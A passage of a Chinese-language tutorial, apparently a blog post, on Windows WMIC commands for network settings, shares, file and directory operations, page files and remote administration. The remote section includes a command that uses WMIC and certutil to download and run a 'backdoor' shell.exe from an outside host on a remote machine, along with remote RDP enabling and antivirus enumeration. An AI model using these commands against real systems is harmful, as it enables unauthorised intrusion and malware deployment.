# Office 16 Click-to-Run Extensibility Component                  {90160000-008C-0000-1000-0000000FF1CE}  Office 16 Click-to-Run Extensibility Component                  Microsoft Corporation         16.0.12130.20272
# Office 16 Click-to-Run Localization Component                   {90160000-008C-0804-1000-0000000FF1CE}  Office 16 Click-to-Run Localization Component                   Microsoft Corporation         16.0.12130.20272

WeiyiGeek.


0x04 网络设置

nicconfig

实例:利用 nicconfig 进行动态或者静态设置ip地址

代码语言:javascript复制
NICCONFIG ASSOC [<格式说明符>]
NICCONFIG CALL <方法名称> [<实际参数列表>]
NICCONFIG CREATE <分配列表>
NICCONFIG DELETE
NICCONFIG GET [<属性列表>] [<获取开关>]
NICCONFIG LIST [<列表格式>] [<列表开关>]

基础实例:

代码语言:javascript复制
#1.网卡信息描述以及索引
wmic nicconfig get SettingID,Description,index
# Description                                 Index  SettingID
# Microsoft Kernel Debug Network Adapter      0      {7D257BDB-8307-4D9A-BD9B-58EE823EB375}
# Intel(R) Ethernet Connection I217-LM        1      {8EE7E18D-B6A7-4210-B0AF-55F446794580}


#2.设置自动获取或者静态IP地址设置根据条件设置
wmic nicconfig where index=13 call enabledhcp  #动态获取IP地址
wmic nicconfig where index=0 call enablestatic("192.168.1.5"), ("255.255.255.0")  #0说明是配置网络接口1。
wmic nicconfig where index=13 call setgateways("192.168.1.1"),(1)  #配置网关(默认路由

#3.指定字段获取(get 与 list 不能同时存在)
wmic nicconfig get Description,IPAddress,DefaultIPGateway
# DefaultIPGateway  Description                                 IPAddress
#                   Microsoft Kernel Debug Network Adapter
# {"192.20.172.1"}   Intel(R) Ethernet Connection I217-LM        {"192.20.172.109", "fe80::d97d:fe6c:10bf:4244"}
#                   VMware Virtual Ethernet Adapter for VMnet1   {"192.168.64.1", "fe80::34d5:4b52:1627:64dc"}
#                   VMware Virtual Ethernet Adapter for VMnet8   {"192.168.1.1", "fe80::50fc:1560:33a5:b73f"}

WeiyiGeek.


0x05 文件磁盘操作

share

描述:共享资源管理

代码语言:javascript复制
#创建参数
Create                  [IN ]Access(OBJECT)                     (null)
                        [IN ]Description(STRING)
                        [IN ]MaximumAllowed(UINT32)
                        [IN ]Name(STRING)
                        [IN ]Password(STRING)
                        [IN ]Path(STRING)
                        [IN ]Type(UINT32)
```       

基础示例:
```bash
#1.共享查看
net share   #查看自己的共享
WMIC SHARE| findstr /n "OK" #查看自己的共享

#2.共享的添加
net share test=d:test
WMIC SHARE CALL Create "","test","3","TestShareName","","c:test",0  #添加共享

#3.net share F$ /delete 也能删除共享
wmic SHARE where name="Brother DCP-L5500D series" call delete  #删除共享

WeiyiGeek.

datafile

描述:磁盘 DataFile 管理与操作 基础语法:

代码语言:javascript复制
#USAGE:
DATAFILE ASSOC [<format specifier>]
DATAFILE CALL <method name> [<actual param list>]
DATAFILE CREATE <assign list>
DATAFILE DELETE
DATAFILE GET [<property list>] [<get switches>]
DATAFILE LIST [<list format>] [<list switches>]

#Where 条件
# AccessMask=18809343
# Archive=TRUE
# Caption=c:test.txt
# Compressed=FALSE
# CompressionMethod=
# CreationClassName=CIM_LogicalFile
# CreationDate=20181011185819.087958 480
# CSCreationClassName=Win32_ComputerSystem
# CSName=PC-20170910QIBZ
# Description=c:test.txt
# Drive=c:
# EightDotThreeFileName=c:test.txt
# Encrypted=FALSE
# EncryptionMethod=
# Extension=txt
# FileName=test
# FileSize=55514
# FileType=Text Document
# FSCreationClassName=Win32_FileSystem
# FSName=NTFS
# Hidden=FALSE
# InstallDate=20181011185819.087958 480
# InUseCount=
# LastAccessed=20181011185819.087958 480
# LastModified=20181011190254.894734 480
# Manufacturer=
# Name=c:test.txt
# Path=
# Readable=TRUE
# Status=OK
# System=FALSE
# Version=
# Writeable=TRUEAccessMask=18809343
# Archive=TRUE
# Caption=c:test.txt
# Compressed=FALSE
# CompressionMethod=
# CreationClassName=CIM_LogicalFile
# CreationDate=20181011185819.087958 480
# CSCreationClassName=Win32_ComputerSystem
# CSName=PC-20170910QIBZ
# Description=c:test.txt
# Drive=c:
# EightDotThreeFileName=c:test.txt
# Encrypted=FALSE
# EncryptionMethod=
# Extension=txt
# FileName=test
# FileSize=55514
# FileType=Text Document
# FSCreationClassName=Win32_FileSystem
# FSName=NTFS
# Hidden=FALSE
# InstallDate=20181011185819.087958 480
# InUseCount=
# LastAccessed=20181011185819.087958 480
# LastModified=20181011190254.894734 480
# Manufacturer=
# Name=c:test.txt
# Path=
# Readable=TRUE
# Status=OK
# System=FALSE
# Version=
# Writeable=TRUE

基础实例:

代码语言:javascript复制
#1.获取文件的创建、访问、修改时间
wmic datafile where "Name='c:\windows\system32\cmd.exe'" get CreationDate,LastAccessed,LastModified 
# CreationDate               LastAccessed               LastModified
# 20191114092108.255728 480  20191114092108.258724 480  20191114092108.258724 480

#2.可以进行文件查找(语句里面通配符以及)
wmic datafile where "drive='e:' and path='\test\' and FileName='cc' and Extension='cmd'" list  #查找e盘下test目录(不包括子目录)下的cc.cmd文件
wmic datafile where "drive='e:' and FileName='cc' and Extension='cmd' and FileSize>'1000'" list  #查找e盘下所有目录和子目录下的cc.cmd文件,且文件大小大于1K
wmic datafile where "drive='h:' and extension='txt' and path like '%\test\%' and filename like '%perl%'" get name   #查找h盘下目录含有test,文件名含有perl,后缀为txt的文件
wmic datafile where "drive='c:' and extension='ps1' and path like '%\windows\%' and filename like '%po%'" get name  #比较实用的功能

#3.按照条件删除文件
wmic datafile where "drive='e:' and Extension='cmd' and FileSize>'10000000'" call delete          #删除e盘下文件大小大于10M的.cmd文件
wmic datafile where "drive='e:' and Extension<>'cmd' and path='test'" call delete                 #删除e盘下test目录(不包括子目录)下的非.cmd文件

#4.文件重命名
wmic datafile "c:\hello.txt" call rename c:test.txt                                            #改名c:hello.txt为c:test.txt

#5.复制e盘下test目录(不包括子目录)下的cc.cmd文件到e:,并改名为aa.bat
wmic datafile where "drive='e:' and path='\test\' and FileName='cc' and Extension='cmd'" call copy "e:aa.bat"   #注意目录的写法

WeiyiGeek.

fsdir - 文件目录系统项目管理

基础实例:

代码语言:javascript复制
#1.查找e盘下名为test的目录
wmic FSDIR where "drive='e:' and filename='test'" list  

#2.删除c:good文件夹
wmic FSDIR "c:\good" call delete       
wmic fsdir where "f:\test" call delete # - 使用双斜杆转义

#3.删除e:test目录下除过目录abc的所有目录
wmic FSDIR where "drive='e:' and path='\test\' and filename<>'abc'" call delete  

#4.重命名c:good文件夹为abb
wmic FSDIR "c:\good" rename "c:abb" 
wmic fsdir where (name='c:\test') rename "c:abc"

WeiyiGeek.

pagefileset

描述:页面文件设置管理 基础语法:

代码语言:javascript复制
PAGEFILESET ASSOC [<格式说明符>]
PAGEFILESET CREATE <分配列表> #注意: Create 不能用于创建新类。
PAGEFILESET DELETE
PAGEFILESET GET [<属性列表>] [<获取开关>]
PAGEFILESET LIST [<列表格式>] [<列表开关>]
PAGEFILESET SET [<分配列表>]

基础实例:

代码语言:javascript复制
#1.更改当前页面文件初始大小和最大值
wmic PAGEFILESET set InitialSize="512",MaximumSize="512"   

#2.页面文件设置到d:下,执行下面两条命令
wmic pagefileset create name='d:pagefile.sys',initialsize=512,maximumsize=1024
wmic pagefileset where "name='d:\pagefile.sys'" delete
删除实例 \WEIYIGEEKROOTCIMV2:Win32_PageFileSetting.Name="d:\pagefile.sys"
实例删除成功。

0x06 远程操作

/node

描述:/node 远程计算机操作WMIC命令开启远程计算机的远程桌面连接;

基础语法:

代码语言:javascript复制
#开启远程
wmic /node:"[full machine name]" /USER:"[domain][username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

#远程命令执行
wmic /node:[ip] /user:[用户] /password:[密码] process call create "shutdown.exe /r /f /t 0"

基础示例:

代码语言:javascript复制
# 0.进行wmic控制台登录
wmic /node:"192.168.1.20" /user:"domainadministrator" /password:"123456"
wmic /node:"192.168.1.88" /user:"domainWeiyiGeek" /password:"weiye"


# 1.WMIC命令开启远程计算机的远程桌面连接
wmic /node:10.2.14.20 /USER:"10.2.14.20/administrator" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 


# 2.远程计算机操作实例(打开笔记本)
wmic /node:10.2.14.200 /user:administrator process call create notepad.exe  #在远程机器上创建新进程(值得利用) 会返回进程ID


# 3.利用 wmic 实现远程下载后门
wmic /node:192.168.1.10 /user:administrator /password:123123 PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://WEIYIGEEK.com/shell.exe c:/shell.exe
& c:/shell.exe & certutil.exe -urlcache -split -f http://WEIYIGEEK.com/shell.exe delete"

# 4.由于wmic执行远程命令没有回显所以要将结果写入到txt中
wmic /node:[TargetIp] /user:[UserName] /password:[Password] process call create "cmd.exe /c ipconfig > c:result.txt"
type result.txt

WeiyiGeek.远程管理

rdtoggle

描述:查看与设置远程桌面连接;

基础示例:

代码语言:javascript复制
#1.查看远程连接的信息
wmic rdtoggle list
# AllowTSConnections  ServerName
# 0                   WEIYIGEEK

#2.开2003的3389
wmic RDTOGGLE where "name='WEIYIGEEK'" call SetAllowTSConnections 1

0x07 namespace - 名称空间

(1) rootsecuritycenter2

基础示例:

代码语言:javascript复制
# - 获取反病毒产品详情
wmic /namespace:\rootsecuritycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
  # displayName       pathToSignedProductExe                                    productState
  # 火绒安全软件      C:Program Files (x86)HuorongSysdiagbinwsctrl.exe     266240
  # Windows Defender  windowsdefender://                                        401664
  # 火绒安全软件      C:Program Files (x86)HuorongSysdiagbinwsctrlsvc.exe  266240

0 人点赞